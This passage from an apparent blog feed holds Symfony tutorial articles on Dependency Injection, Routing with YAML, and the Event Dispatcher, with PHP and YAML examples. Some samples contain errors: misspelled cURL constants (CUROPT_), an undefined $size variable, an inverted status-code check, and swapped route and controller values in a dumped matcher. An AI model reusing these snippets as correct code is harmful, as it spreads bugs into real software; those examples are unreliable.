        curl_setopt_array($curl, array(
            CUROPT_RETURNTRANSFER =&gt; true,
            CURLOPT_HEADER =&gt; true,
            CUROPT_URL =&gt; $request-&gt;getUri(),
        ));
        $response = curl_exec($curl);
        $headerSize = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
        $statusCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        curl_close($curl);
        $headers = array_map(function($line) {
            return explode(': ', trim($line));
        }, explode("\n", substr($response, 0, $size)));
        array_pop($headers);array_pop($headers);array_shift($headers);
        $body = substr($response, $headerSize);
        $body = substr($response, $headerSize);

        return new Response($statusCode, $headers, $body);
    }
}

class CheckApiStatus
{
    public function check($url)
    {
        $httpClient = new CurlHttpClient();
        $statusCode = $httpClient-&gt;sendRequest(new Request($url))-&gt;getStatusCode();

        return 200 &gt;= $statusCode &amp;&amp; $statusCode &lt; 400;
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: for more refactoring examples, check:</p>
  
  <ul>
  <li><a href="http://martinfowler.com/articles/refactoring-external-service.html">Refactoring external service</a> by Martin Fowler</li>
  <li><a href="http://verraes.net/2013/09/extract-till-you-drop/">Extract till you drop</a> by Mathias Verreas</li>
  <li>Refactoring the cat API
  <a href="http://php-and-symfony.matthiasnoback.nl/2015/07/refactoring-the-cat-api-client-part-1/">part 1</a>
  <a href="http://php-and-symfony.matthiasnoback.nl/2015/07/refactoring-the-cat-api-client-part-2/">part 2</a>
  <a href="http://php-and-symfony.matthiasnoback.nl/2015/07/refactoring-the-cat-api-client-part-3/">part 3</a>
  by Matthias Noback</li>
  </ul>
</blockquote>

<p>Our original class then has to call those sub classes to "delegate" the work. But
how does it access those sub classes? Should it instantiate them in its methods?
A better place could be the constructor, where the instances are stored in the class
properties so it can be shared between two calls.</p>

<p>Or even better we can instantiate them out of the class, and then pass them as
arguments to the original class constructor, so we can share it with other classes:</p>

<pre><code class="php">&lt;?php

class CheckApiStatus
{
    private $httpClient;

    public function __construct(HttpClient $httpClient)
    {
        $this-&gt;httpClient = $httpClient;
    }

    public function check($url)
    {
        $statusCode = $this-&gt;httpClient-&gt;sendRequest(new Request($url))-&gt;getStatusCode();

        return 200 &gt;= $statusCode &amp;&amp; $statusCode &lt; 400;
    }
}

$httpClient = new CurlHttpClient();
$checkApiStatus = new CheckApiStatus($httpClient);
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Now <code>CheckApiStatus</code> is decoupled from the remote request logic.</p>
  
  <p>The refactoring steps might seem like producing more code just for the "beauty"
  of principles, but it actually enables us to completly remove it: by using <a href="http://www.php-fig.org/psr/psr-7/">PSR-7</a>
  interfaces instead of our own we can easily switch to <a href="http://docs.guzzlephp.org/en/latest/">Guzzle</a>
  or any HTTP client library.</p>
</blockquote>

<p>And that's what <a href="http://www.martinfowler.com/articles/injection.html">Dependency Injection</a>
is all about: taking parameters (also known as dependencies) our class (also known as service)
needs and pass them as arguments (also known as injection), to allow more decoupling.</p>

<p>The downside of this design pattern is that we now have a cascade of instantiations.</p>

<blockquote>
  <p><strong>Note</strong>: Classes can be shared if they are stateless which means calling a method
  shouldn't change their attributes.</p>
</blockquote>

<h2 id="the-component">The component</h2>

<p>Symfony provides a <a href="http://symfony.com/doc/current/components/dependency-injection/introduction.html">Dependency Injection component</a>
which allows us to set up how our classes are constructed:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Reference;

$container = new ContainerBuilder();

$container
    -&gt;register('http_client','CurlHttpClient')
;
$container
    -&gt;register('check_api_status', 'CheckApiStatus')
    -&gt;addArgument(new Reference('http_client'))
;

$checkApiStatus = $container-&gt;get('check_api_status');
</code></pre>

<p>It can even be set up using configuration:</p>

<pre><code># /tmp/services/api.yml
services:
    http_client:
        class: CurlHttpClient

    check_api_status:
        class: CheckApiStatus
        arguments:
            - '@http_client'
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Some string values must be escaped using single quotes because YAML
  has a list of <a href="http://stackoverflow.com/a/22235064">reserved characters</a>, including:
  <code>@</code>, <code>%</code>, <code>\</code>, <code>-</code>, <code>:</code> <code>[</code>, <code>]</code>, <code>{</code> and <code>}</code>.</p>
</blockquote>

<p>Here's how we can load this configuration:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\Config\FileLocator;
use Symfony\Component\Config\Loader\LoaderResolver;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Loader\DirectoryLoader;
use Symfony\Component\DependencyInjection\Loader\YamlFileLoader;

$container = new ContainerBuilder();

// Load recursively all YAML configuration files in services directories
$fileLocator = new FileLocator(__DIR__);
$loader = new DirectoryLoader($container, $fileLocator);
$loader-&gt;setResolver(new LoaderResolver(array(
    new YamlFileLoader($container, $fileLocator),
    $loader,
)));
$loader-&gt;load('/services/');

$checkApiStatus = $container-&gt;get('check_api_status');
</code></pre>

<p>Calling methods on a created service to complete its initialization is possible:</p>

<pre><code>services:
    my_event_listener:
        class: MyEventListener

    event_dispatcher:
        class: 'Symfony\Component\EventDispatcher\EventDispatcher'
        calls:
            - [ addListener, [ kernel.request, '@my_event_listener', 42 ] ]
</code></pre>

<blockquote>
  <p><strong>Note</strong>: There's a better way to add listeners to the EventDispatcher, keep
  reading to find out how.</p>
</blockquote>

<p>Finally it might be useful to create aliases:</p>

<pre><code>services:
    http_client:
        alias: curl_http_client

    curl_http_client:
        class: CurlHttpClient

    check_api_status:
        class: checkApiStatus
        arguments:
            - "@http_client"
</code></pre>

<p>In the example above <code>http_client</code> is set to be <code>curl_http_client</code>, it could be
changed later to use another implementation of <code>HttpClient</code>.</p>

<h2 id="parameters">Parameters</h2>

<p>In addition to class instances, we can also inject parameters:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Parameter;
use Symfony\Component\DependencyInjection\Reference;

$container = new ContainerBuilder();

$container-&gt;setParameter('username', 'arthur.dent@example.com');
$container-&gt;setParameter('password', 42);

$container
    -&gt;register('http_client','CurlHttpClient')
;
$container
    -&gt;register('check_api_status', 'CheckApiStatus')
    -&gt;addArgument(new Reference('http_client'))
    -&gt;addArgument(new Parameter('username'))
    -&gt;addArgument(new Parameter('password'))
;

$checkApiStatus = $container-&gt;get('check_api_status');
</code></pre>

<blockquote>
  <p><strong>Note</strong>: For the example's sake we're pretending that <code>CheckApiStatus</code>'s constructor
  now takes 3 arguments.</p>
</blockquote>

<p>Here's the equivalent in YAML:</p>

<pre><code># /tmp/services/api.yml
parameters:
    username: 'arthur.dent@example.com'
    password: 42

services:
    http_client:
        class: CurlHttpClient

    check_api_status:
        class: CheckApiStatus
        arguments:
            - '@http_client'
            - '%username%'
            - '%password%'
</code></pre>

<blockquote>
  <p><strong>Note</strong>: services are prefixed with <code>@</code>, and parameters are surrounded with <code>%</code>.</p>
</blockquote>

<p>The value of a parameter can be anything:</p>

<ul>
<li>null (<code>~</code>)</li>
<li>a boolean (<code>true</code> or <code>false</code>)</li>
<li>an integer (e.g. <code>42</code>)</li>
<li>a float (e.g. <code>44.23</code>)</li>
<li>a string (e.g. <code>hello world</code>, or escaped <code>'arthur.dent@example.com'</code>)</li>
<li>an array (e.g. <code>[ apples, oranges ]</code>)</li>
<li>an associative array (e.g. <code>{ first_name: Arthur, last_name: Dent }</code>)</li>
</ul>

<blockquote>
  <p><strong>Note</strong>: The examples above for arrays are inline ones. They could also be on many lines:</p>

<pre><code>parameters:
    fruits:
        - apples
        - oranges

    identity:
        first_name: Arthur
        last_name: Dent

    # We can even have multi dimension arrays:
    five_a_day:
        -
            - apples
            - oranges
        -
            - carrots
</code></pre>
</blockquote>

<h2 id="extension">Extension</h2>

<p>By creating a class that extends <code>Extension</code>, we can provide reusable Dependency
Injection configuration:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\Config\FileLocator;
use Symfony\Component\Config\Loader\LoaderResolver;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Loader\DirectoryLoader;
use Symfony\Component\DependencyInjection\Loader\YamlFileLoader;
use Symfony\Component\HttpKernel\DependencyInjection\Extension;

class AppExtension extends Extension
{
    public function load(array $configs, ContainerBuilder $container)
    {
        $fileLocator = new FileLocator(__DIR__);
        $loader = new DirectoryLoader($container, $fileLocator);
        $loader-&gt;setResolver(new LoaderResolver(array(
            new YamlFileLoader($container, $fileLocator),
            $loader,
        )));
        $loader-&gt;load('/services/');
    }
}

$container = new ContainerBuilder();
$appExtension = new AppExtension();
$appExtension-&gt;load(array(), $container);

$checkApiStatus = $container-&gt;get('check_api_status');
</code></pre>

<h2 id="compilerpass-and-tags">CompilerPass and tags</h2>

<p>The <code>Container</code> implementation provides a <code>compile</code> method that resolves parameters
(replace <code>%parameter%</code> placeholders by the parameter value) and freezes them
(calling <code>setParameter</code> will result in an exception).</p>

<p>The <code>ContainerBuilder</code> implementations also has a <code>compile</code> method which is going
to execute all registered <code>CompilerPassInterface</code> implementations.</p>

<p>For example, we can retrieve all services "tagged" <code>kernel.event_listener</code> and
add them to the <code>EventDispatcher</code> with the following one:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
use Symfony\Component\DependencyInjection\Reference;

class EventListenerCompilerPass implements CompilerPassInterface
{
    public function process(ContainerBuilder $container)
    {
        if (false === $container-&gt;hasDefinition('event_dispatcher')) {
            return;
        }
        $eventDispatcher = $container-&gt;getDefinition('event_dispatcher');
        $taggedServices = $container-&gt;findTaggedServiceIds('kernel.event_listener');
        foreach ($taggedServices as $id =&gt; $attributes) {
            $eventDispatcher-&gt;addMethodCall('addListener', array(
                $attributes['event'],
                array(new Reference($id), $attributes['method']),
                $attributes['priority'],
            ));
        }
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: The EventDispatcher component already provides a <code>RegisterListenersPass</code>.</p>
</blockquote>

<p>The configuration for a "tagged" service looks like this:</p>

<pre><code>services:
    my_event_listener:
        class MyEventListener
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest, priority: 42 }
</code></pre>

<blockquote>
  <p><strong>Note</strong>: With this, it is no longer required to call <code>addListener</code> in <code>event_dispatcher</code>'s
  configuration.</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>By providing a configurable way to define service construction, the DependencyInjection
component allows us to use the design pattern of the same name in our projects.</p>

<p>The HttpKernel component provides two <code>HttpKernelInterface</code> implementations:</p>

<ul>
<li><code>HttpKernel</code> which does the HTTP logic</li>
<li><code>Kernel</code> which sets up a DependencyInjection container and then use <code>HttpKernel</code></li>
</ul>

<p>Just like for the Routing component, there's a <code>PhpDumper</code> which can generate an
implementation of <code>ContainerInterface</code> with all configuration in an optimized way.
It might look like this:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\DependencyInjection\Container;
use Symfony\Component\DependencyInjection\Exception\InvalidArgumentException;
use Symfony\Component\DependencyInjection\Exception\LogicException;
use Symfony\Component\DependencyInjection\Exception\RuntimeException;
use Symfony\Component\DependencyInjection\ParameterBag\FrozenParameterBag;

class appDevDebugProjectContainer extends Container
{
    private $parameters;
    private $targetDirs = array();

    public function __construct()
    {
        $dir = __DIR__;
        for ($i = 1; $i &lt;= 5; ++$i) {
            $this-&gt;targetDirs[$i] = $dir = dirname($dir);
        }
        $this-&gt;parameters = $this-&gt;getDefaultParameters();

        $this-&gt;services = array();
        $this-&gt;methodMap = array(
            'http_client' =&gt; 'getHttpClientService',
            'check_api_status' =&gt; 'getCheckApiStatusService',
        );
        $this-&gt;aliases = array(
        );
    }

    public function compile()
    {
        throw new LogicException('You cannot compile a dumped frozen container.');
    }

    protected function getHttpClientService()
    {
        return $this-&gt;services['http_client'] = new \CurlHttpClient();
    }

    protected function getCheckApiStatusService()
    {
        return $this-&gt;services['check_api_status'] = new \CheckApiStatus($this-&gt;get('http_client'), 'arthur.dent@example.com', 42);
    }

    public function getParameter($name)
    {
        $name = strtolower($name);
        if (!(isset($this-&gt;parameters[$name]) || array_key_exists($name, $this-&gt;parameters))) {
            throw new InvalidArgumentException(sprintf('The parameter "%s" must be defined.', $name));
        }

        return $this-&gt;parameters[$name];
    }

    public function hasParameter($name)
    {
        $name = strtolower($name);

        return isset($this-&gt;parameters[$name]) || array_key_exists($name, $this-&gt;parameters);
    }

    public function setParameter($name, $value)
    {
        throw new LogicException('Impossible to call set() on a frozen ParameterBag.');
    }

    public function getParameterBag()
    {
        if (null === $this-&gt;parameterBag) {
            $this-&gt;parameterBag = new FrozenParameterBag($this-&gt;parameters);
        }

        return $this-&gt;parameterBag;
    }

    protected function getDefaultParameters()
    {
        return array(
            'username' =&gt; 'arthur.dent@example.com',
            'password' =&gt; 42,
        );
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Dependencies that are used by only one service can be marked as "private"
  they'll be hard coded in the service instantiation (but they won't be available
  anymore from <code>$container-&gt;get()</code>).</p>
  
  <p>In our example we could mark <code>http_client</code> as private, so the dumped Container
  wouldn't have a <code>getHttpClientService</code> method:</p>

<pre><code>service:
    http_client:
        class: CurlHttpClient
        public: false
</code></pre>
</blockquote>

<p>It is also worth noting that services are by default only initialized once and on demand,
so the number of services doesn't impact the performances of the application.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[The Ultimate Developer Guide to Symfony - Routing]]></title>
            <link href="/2016/02/17/ultimate-symfony-routing.html"/>
            <updated>2016-02-17T00:00:00+00:00</updated>
            <id>/2016/02/17/ultimate-symfony-routing.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><strong>TL;DR</strong>:</p>

<pre><code class="php">$parameters = $urlMatcher-&gt;match($request-&gt;getPathInfo());

$request-&gt;attributes-&gt;add(array('_controller' =&gt; $parameters['_controller']);
$request-&gt;attributes-&gt;add(array('_route' =&gt; $parameters['_route']);
unset($parameters['_controller'], $parameters['_route']);
$request-&gt;attributes-&gt;add(array('_route_params' =&gt; $parameters);
</code></pre>
</blockquote>

<p>In this guide we explore the standalone libraries (also known as "Components")
provided by <a href="http://symfony.com">Symfony</a> to help us build applications.</p>

<p>We've already seen:</p>

<ul>
<li><a href="/2016/02/03/ultimate-symfony-http-kernel.html">HTTP Kernel and HTTP Foundation</a></li>
<li><a href="/2016/02/10/ultimate-symfony-event-dispatcher.html">Event Dispatcher</a></li>
</ul>

<p>We're now about to check Routing and YAML, then in the next articles we'll have a look at:</p>

<ul>
<li><a href="/2016/02/24/ultimate-symfony-dependency-injection.html">Dependency Injection</a></li>
<li><a href="/2016/03/02/ultimate-symfony-console.html">Console</a></li>
</ul>

<p>We'll also see how HttpKernel enables reusable code with <a href="/2016/03/09/ultimate-symfony-bundle.html">Bundles</a>,
and the different ways to organize our application <a href="/2016/03/16/ultimate-symfony-skeleton.html">tree directory</a>.</p>

<p>Finally we'll finish by putting all this knowledge in practice by creating a
"fortune" project with:</p>

<ul>
<li><a href="/2016/03/24/ultimate-symfony-api-example.html">an endpoint that allows us to submit new fortunes</a></li>
<li><a href="/2016/03/30/ultimate-symfony-web-example.html">a page that lists all fortunes</a></li>
<li><a href="/2016/04/06/ultimate-symfony-cli-example.html">a command that prints the last fortune</a></li>
</ul>

<h2 id="routing">Routing</h2>

<p>Symfony provides a <a href="http://symfony.com/doc/current/components/routing/introduction.html">Routing component</a>
which allows us, for a HTTP request/URL, to execute a specific function (also known as "Controller").</p>

<blockquote>
  <p><strong>Note</strong>: Controllers must be a <a href="http://php.net/manual/en/language.types.callable.php">callable</a>,
  for example:</p>
  
  <ul>
  <li>an anonymous function: <code>$controller = function (Request $request) { return new Response() };</code>.</li>
  <li>an array with an instance of a class and a method name:
  <code>$controller = array($controller, 'searchArticles');</code>.</li>
  <li>a fully qualified classname with a static method name:
  <code>$controller = 'Vendor\Project\Controller\ArticleController::searchArticles'</code>.</li>
  </ul>
  
  <p>Controllers can take a Request argument and should return a Response instance.</p>
</blockquote>

<p>It revolves around the following interface:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\Routing\Matcher;

use Symfony\Component\Routing\Exception\ResourceNotFoundException;
use Symfony\Component\Routing\Exception\MethodNotAllowedException;

interface UrlMatcherInterface
{
    /**
     * @param string $pathinfo
     *
     * @return array Route parameters (also contains `_route`)
     *
     * @throws ResourceNotFoundException
     * @throws MethodNotAllowedException
     */
    public function match($pathinfo);
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: For brevity the interface has been stripped from <code>RequestContextAwareInterface</code>.</p>
</blockquote>

<p>In actual applications we don't need to implement it as the component provides
a nice implementation that works with <code>RouteCollection</code>:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\Routing\RouteCollection;
use Symfony\Component\Routing\Route;

$collection = new RouteCollection();
$collection-&gt;add('search_articles', new Route('/v1/articles', array(
    '_controller' =&gt; 'Vendor\Project\Controller\ArticleController::search',
), array(), array(), '', array(), array('GET', 'HEAD')));

$collection-&gt;add('edit_article', new Route('/v1/articles/{id}', array(
    '_controller' =&gt; 'Vendor\Project\Controller\ArticleController::edit',
), array(), array(), '', array(), array('PUT')));
</code></pre>

<p><code>RouteCollection</code> allows us to configure which Request will match our controllers:
via URL patterns and Request method. It also allows us to specify parts of the URLs
as URI parameters (e.g. <code>id</code> in the above snippet).</p>

<p>Building route configuration by interacting with PHP code can be tedious, so the
Routing component supports alternative configuration formats: annotations, XML, YAML, etc.</p>

<blockquote>
  <p><strong>Tip</strong>: have a look at <code>Symfony\Component\Routing\Loader\YamlFileLoader</code>.</p>
</blockquote>

<h2 id="yaml">YAML</h2>

<p>Symfony provides a <a href="http://symfony.com/doc/current/components/yaml/introduction.html">YAML component</a>
which allows us to convert YAML configuration into PHP arrays (and vice versa).</p>

<p>For example the following YAML file:</p>

<pre><code># /tmp/routing.yml
search_articles:
    path: /api/articles
    defaults:
        _controller: 'Vendor\Project\Controller\ArticleController::search'
    methods:
        - GET
        - HEAD

edit_article:
    path: '/api/articles/{id}'
    defaults:
        _controller: 'Vendor\Project\Controller\ArticleController::edit'
    methods:
        - PUT
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Some string values must be escaped using single quotes because the YAML
  has a list of <a href="http://stackoverflow.com/a/22235064">reserved characters</a>, including:
  <code>@</code>, <code>%</code>, <code>\</code>, <code>-</code>, <code>:</code> <code>[</code>, <code>]</code>, <code>{</code> and <code>}</code>.</p>
</blockquote>

<p>Can be converted using:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\Yaml\Yaml;

$routing = Yaml::parse(file_get_contents('/tmp/routing.yml'));
</code></pre>

<p>This will result in the equivalent of the following array:</p>

<pre><code class="php">&lt;?php

$routing = array(
    'search_articles' =&gt; array(
        'path' =&gt; '/api/articles',
        'defaults' =&gt; array(
            '_controller' =&gt; 'Vendor\Project\Controller\ArticleController::search',
        ),
        'methods' =&gt; array(
            'GET',
            'HEAD',
        ),
    ),
    'edit_article' =&gt; array(
        'path' =&gt; '/api/articles/{id}',
        'defaults' =&gt; array(
            '_controller' =&gt; 'Vendor\Project\Controller\ArticleController::edit',
        ),
        'methods' =&gt; array(
            'PUT',
        ),
    ),
);
</code></pre>

<blockquote>
  <p><strong>Note</strong>: the Routing component uses another component to then build <code>RouteCollection</code>
  from this array: the <a href="http://symfony.com/doc/current/components/config/introduction.html">Config component</a>
  which is out of the scope of this guide.</p>
</blockquote>

<p>There's also <code>$yaml = Yaml::dump($array);</code> that converts a PHP array into a YAML
string.</p>

<h2 id="conclusion">Conclusion</h2>

<p>The Routing component allows us to define which Controllers should be executed
for the given Request, and the Yaml component allows us to configure it in a simple way.</p>

<p>HttpKernel provides a <code>RouterListener</code> which makes use of <code>UrlMatcher</code> when the
Request is received to find a corresponding controller.</p>

<blockquote>
  <p><strong>Note</strong>: <code>Request-&gt;attributes</code> is used to store information about the current
  Request such as the matched route, the controller, etc. It's used internally
  by Symfony but we could also store our own values in it.</p>
</blockquote>

<p>Some might be concerned with performance: reading the configuration from the
filesystem may slow down the application.</p>

<p>Don't panic! There's a <code>PhpMatcherDumper</code> class which can generate an implementation
of <code>UrlMatcherInterface</code> with all configuration in an optimized way. It might look
like this:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\Routing\Exception\MethodNotAllowedException;
use Symfony\Component\Routing\Exception\ResourceNotFoundException;
use Symfony\Component\Routing\RequestContext;

class appDevUrlMatcher extends Symfony\Bundle\FrameworkBundle\Routing\RedirectableUrlMatcher
{
    public function __construct(RequestContext $context)
    {
        $this-&gt;context = $context;
    }

    public function match($pathinfo)
    {
        $allow = array();
        $pathinfo = rawurldecode($pathinfo);
        $context = $this-&gt;context;

        // edit_article
        if (preg_match('#^/v1/articles/(?P&lt;id&gt;[^/]++)$#s', $pathinfo, $matches)) {
            if ($this-&gt;context-&gt;getMethod() != 'PUT') {
                $allow[] = 'PUT';
                goto not_edit_article;
            }

            return $this-&gt;mergeDefaults(array_replace($matches, array('_route' =&gt; 'edit_article')), array (  '_controller' =&gt; 'Vendor\Project\Controller\ArticleController::edit',));
        }
        not_edit_article:

        // search_articles
        if ($pathinfo === '/v1/articles') {
            if (!in_array($this-&gt;context-&gt;getMethod(), array('GET', 'HEAD'))) {
                $allow = array_merge($allow, array('GET', 'HEAD'));
                goto not_search_articles;
            }

            return array (  '_controller' =&gt; 'app.article_controller:search',  '_route' =&gt; 'Vendor\Project\Controller\ArticleController::search',);
        }
        not_search_articles:

        throw 0 &lt; count($allow) ? new MethodNotAllowedException(array_unique($allow)) : new ResourceNotFoundException();
    }
}
</code></pre>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[The Ultimate Developer Guide to Symfony - Event Dispatcher]]></title>
            <link href="/2016/02/10/ultimate-symfony-event-dispatcher.html"/>
            <updated>2016-02-10T00:00:00+00:00</updated>
            <id>/2016/02/10/ultimate-symfony-event-dispatcher.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><strong>TL;DR</strong>:</p>

<pre><code class="php">$eventDispatcher-&gt;addListener($eventName, $listener1, $priority);
$eventDispatcher-&gt;addListener($eventName, $listener2, $priority - 1);
$eventDispatcher-&gt;dispatch($eventName); // Calls $listener1, then $listener2
</code></pre>
</blockquote>

<p>In this guide we explore the standalone libraries (also known as "Components")
provided by <a href="http://symfony.com">Symfony</a> to help us build applications.</p>

<p>We've already seen:</p>

<ul>
<li><a href="/2016/02/03/ultimate-symfony-http-kernel.html">HTTP Kernel and HTTP Foundation</a></li>
</ul>

<p>We're now about to check Event Dispatcher, then in the next articles we'll have a look at:</p>

<ul>
<li><a href="/2016/02/17/ultimate-symfony-routing.html">Routing and YAML</a></li>
<li><a href="/2016/02/24/ultimate-symfony-dependency-injection.html">Dependency Injection</a></li>
<li><a href="/2016/03/02/ultimate-symfony-console.html">Console</a></li>
</ul>

<p>We'll also see how HttpKernel enables reusable code with <a href="/2016/03/09/ultimate-symfony-bundle.html">Bundles</a>,
and the different ways to organize our application <a href="/2016/03/16/ultimate-symfony-skeleton.html">tree directory</a>.</p>

<p>Finally we'll finish by putting all this knowledge in practice by creating a
"fortune" project with:</p>

<ul>
<li><a href="/2016/03/24/ultimate-symfony-api-example.html">an endpoint that allows us to submit new fortunes</a></li>
<li><a href="/2016/03/30/ultimate-symfony-web-example.html">a page that lists all fortunes</a></li>
<li><a href="/2016/04/06/ultimate-symfony-cli-example.html">a command that prints the last fortune</a></li>
</ul>

<h2 id="event-dispatcher">Event Dispatcher</h2>

<p>Symfony provides an <a href="http://symfony.com/doc/current/components/event_dispatcher/introduction.html">EventDispatcher component</a>
which allows the execution of registered function at key points in our applications.</p>

<p>It revolves around the following interface:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\EventDispatcher;

interface EventDispatcherInterface
{
    /**
     * @param string   $eventName
     * @param callable $listener
     * @param int      $priority  High priority listeners will be executed first
     */
    public function addListener($eventName, $listener, $priority = 0);

    /**
     * @param string $eventName
     * @param Event  $event
     */
    public function dispatch($eventName, Event $event = null);
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: This snippet is a truncated version, the actual interface has methods
  to add/remove/get/check listeners and subscribers (which are "auto-configured" listeners).</p>
</blockquote>

<p>An implementation is provided out of the box and can be used as follow:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\EventDispatcher\EventDispatcher;

$eventDispatcher = new EventDispatcher();

$eventDispatcher-&gt;addListener('something_happened', function () {
    echo "Log it\n";
}, 1);
$eventDispatcher-&gt;addListener('something_happened', function () {
    echo "Save it\n";
}, 2);

$eventDispatcher-&gt;dispatch('something_happened');
</code></pre>

<p>This will output:</p>

<pre><code>Save it
Log it
</code></pre>

<p>Since the second listener had a higher priority, it got executed first.</p>

<blockquote>
  <p><strong>Note</strong>: Listeners must be a <a href="http://php.net/manual/en/language.types.callable.php">callable</a>,
  for example:</p>
  
  <ul>
  <li>an anonymous function: <code>$listener = function (Event $event) {};</code>.</li>
  <li>an array with an instance of a class and a method name:
  <code>$listener = array($service, 'method');</code>.</li>
  <li>a fully qualified classname with a static method name:
  <code>$listener = 'Vendor\Project\Service::staticMethod'</code>.</li>
  </ul>
</blockquote>

<p>If we want to provide some context to the listeners (parameters, etc) we can
create a sub-class of <code>Event</code>:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\EventDispatcher\Event;
use Symfony\Component\EventDispatcher\EventDispatcher;

class SomethingHappenedEvent extends Event
{
    private $who;
    private $what;
    private $when;

    public function __construct($who, $what)
    {
        $this-&gt;who = $who;
        $this-&gt;what = $what;
        $this-&gt;when = new \DateTime();
    }

    public function who()
    {
        return $this-&gt;who;
    }

    public function what()
    {
        return $this-&gt;what;
    }

    public function when()
    {
        return $this-&gt;when;
    }
}

$eventDispatcher = new EventDispatcher();

$eventDispatcher-&gt;addListener('something_happened', function (SomethingHappenedEvent $event) {
    echo "{$event-&gt;who()} was {$event-&gt;what()} at {$event-&gt;when()-&gt;format('Y/m/d H:i:s')}\n";
});

$eventDispatcher-&gt;dispatch('something_happened', new SomethingHappenedEvent('Arthur', 'hitchhiking'));
</code></pre>

<h2 id="httpkernel-example">HttpKernel example</h2>

<p>The HttpKernel component we've seen in <a href="/2016/02/03/ultimate-symfony-http-kernel.html">the previous article</a>
provides a <code>Kernel</code> abstract class that heavily relies on EventDispatcher.</p>

<p>For each key steps of its execution, it dispatches the following events:</p>

<ol>
<li><code>kernel.request</code>: gets a <code>Request</code></li>
<li><code>kernel.controller</code>: executes a callable (also known as "Controller")</li>
<li><code>kernel.view</code>: converts the Controller's returned value into a <code>Response</code> (if necessary)</li>
<li><code>kernel.response</code>: returns a <code>Response</code></li>
</ol>

<p>And in case of error:</p>

<ul>
<li><code>kernel.exception</code>: handles errors</li>
</ul>

<p>Just before returning the <code>Response</code>, <code>HttpKernel</code> dispatches one last event:</p>

<ul>
<li><code>kernel.finish_request</code>: clean ups, sending emails, etc</li>
</ul>

<p>After the <code>Response</code> has been displayed, we can dispatch:</p>

<ul>
<li><code>kernel.terminate</code>: same as <code>kernel.finish_request</code>, except it won't slow down
the rendering of request if FastCGI is enabled</li>
</ul>

<h3 id="kernel-request">Kernel Request</h3>

<p>Listeners that registered for <code>kernel.request</code> can modify the Request object.</p>

<p>Out of the box there's a <code>RouterListener</code> registered which sets the following
parameters in <code>Request-&gt;attributes</code>:</p>

<ul>
<li><code>_route</code>: the route name that matched the Request</li>
<li><code>_controller</code>: a callable that will handle the Request and return a Response</li>
<li><code>_route_parameters</code>: query parameters extracted from the Request</li>
</ul>

<p>An example of a custom Listener could be one that decodes JSON content and sets
it in <code>Request-&gt;request</code>:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\EventListener;

use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Event\GetResponseEvent;

/**
 * PHP does not populate $_POST with the data submitted via a JSON Request,
 * causing an empty $request-&gt;request.
 *
 * This listener fixes this.
 */
class JsonRequestContentListener
{
    /**
     * @param GetResponseEvent $event
     */
    public function onKernelRequest(GetResponseEvent $event)
    {
        $request = $event-&gt;getRequest();
        $hasBeenSubmited = in_array($request-&gt;getMethod(), array('PATCH', 'POST', 'PUT'), true);
        $isJson = (1 === preg_match('#application/json#', $request-&gt;headers-&gt;get('Content-Type')));
        if (!$hasBeenSubmited || !$isJson) {
            return;
        }
        $data = json_decode($request-&gt;getContent(), true);
        if (JSON_ERROR_NONE !== json_last_error()) {
            $event-&gt;setResponse(new Response('{"error":"Invalid or malformed JSON"}', 400, array('Content-Type' =&gt; 'application/json')));
        }
        $request-&gt;request-&gt;add($data ?: array());
    }
}
</code></pre>

<p>Another example would be to start a database transaction:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\EventListener;

use PommProject\Foundation\QueryManager\QueryManagerInterface;
use Symfony\Component\HttpKernel\Event\GetResponseEvent;

class StartTransactionListener
{
    /**
     * @var QueryManagerInterface
     */
    private $queryManager;

    /**
     * @param QueryManagerInterface $queryManager
     */
    public function __construct(QueryManagerInterface $queryManager)
    {
        $this-&gt;queryManager = $queryManager;
    }

    /**
     * @param GetResponseEvent $event
     */
    public function onKernelRequest(GetResponseEvent $event)
    {
        $this-&gt;queryManager-&gt;query('START TRANSACTION');
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: <a href="http://pomm-project.org">Pomm</a> is used here as an example.</p>
</blockquote>

<h3 id="kernel-controller">Kernel Controller</h3>

<p>Listeners that registered for <code>kernel.controller</code> can modify the Request object.</p>

<p>This can be useful when we'd like to change the Controller.</p>

